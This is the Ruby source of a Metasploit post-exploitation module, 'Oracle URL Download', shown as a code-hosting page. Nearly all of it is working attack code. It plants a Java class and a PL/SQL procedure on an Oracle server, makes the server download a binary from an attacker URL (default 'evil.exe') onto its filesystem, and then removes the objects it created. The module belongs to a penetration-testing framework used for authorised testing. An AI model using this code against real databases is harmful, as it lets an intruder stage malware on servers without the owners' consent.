Path: blob/master/modules/auxiliary/admin/oracle/post_exploitation/win32upload.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::ORACLE78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Oracle URL Download',13'Description' => %q{14This module will create a Java class which enables the download15of a binary from a webserver to the Oracle filesystem.16},17'Author' => [ 'CG' ],18'License' => MSF_LICENSE,19'References' => [20[ 'URL', 'http://www.argeniss.com/research/oraclesqlinj.zip' ],21],22'DisclosureDate' => '2005-02-10',23'Notes' => {24'Stability' => [CRASH_SAFE],25'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],26'Reliability' => []27}28)29)3031register_options(32[33OptString.new('URL', [false, 'The URL to download the binary from.', 'http://www.meh.com/evil.exe']),34OptString.new('COPYTO', [false, 'Location to copy the binary to', 'c:\\meh.exe']),35]36)37end3839def run40return if !check_dependencies4142java = <<~EOF43CREATE OR REPLACE JAVA SOURCE NAMED SRC_FILE_UPLOAD AS44import java.lang.*;45import java.io.*;46public class FileUpload47{48public static void fileUpload(String myFile, String url) throws IOException49{50File binaryFile = new File(myFile);51FileOutputStream outStream = new FileOutputStream(binaryFile);52java.net.URL u = new java.net.URL(url);53java.net.URLConnection uc = u.openConnection();54InputStream is = (InputStream)uc.getInputStream();55BufferedReader in = new BufferedReader (new InputStreamReader (is));56byte buffer[] = new byte[1024];57int length = -1;58while ((length = is.read(buffer)) != -1) {59outStream.write(buffer, 0, length);60outStream.flush();61}62is.close(); outStream.close();63}64};;65EOF6667procedure = <<~EOF68CREATE OR REPLACE PROCEDURE PROC_FILEUPLOAD (p_file varchar2, p_url varchar2)69as language java70NAME 'FileUpload.fileUpload (java.lang.String, java.lang.String)';71EOF7273exec = "begin PROC_FILEUPLOAD ('#{datastore['COPYTO']}', '#{datastore['URL']}'); end;"7475drops = 'drop java source SRC_FILE_UPLOAD'7677dropp = 'drop procedure PROC_FILEUPLOAD'7879begin80print_status("Creating java source 'SRC_FILE_UPLOAD'...")81prepare_exec(java)82rescue StandardError83return84end8586print_status("Creating procedure 'PROC_FILEUPLOAD'...")87prepare_exec(procedure)8889print_status("Trying to download binary from #{datastore['URL']} to #{datastore['COPYTO']}")90prepare_exec(exec)9192print_status("Removing java source 'SRC_FILE_UPLOAD'...")93prepare_exec(drops)9495print_status("Removing procedure 'PROC_FILEUPLOAD'...")96prepare_exec(dropp)97end98end99100101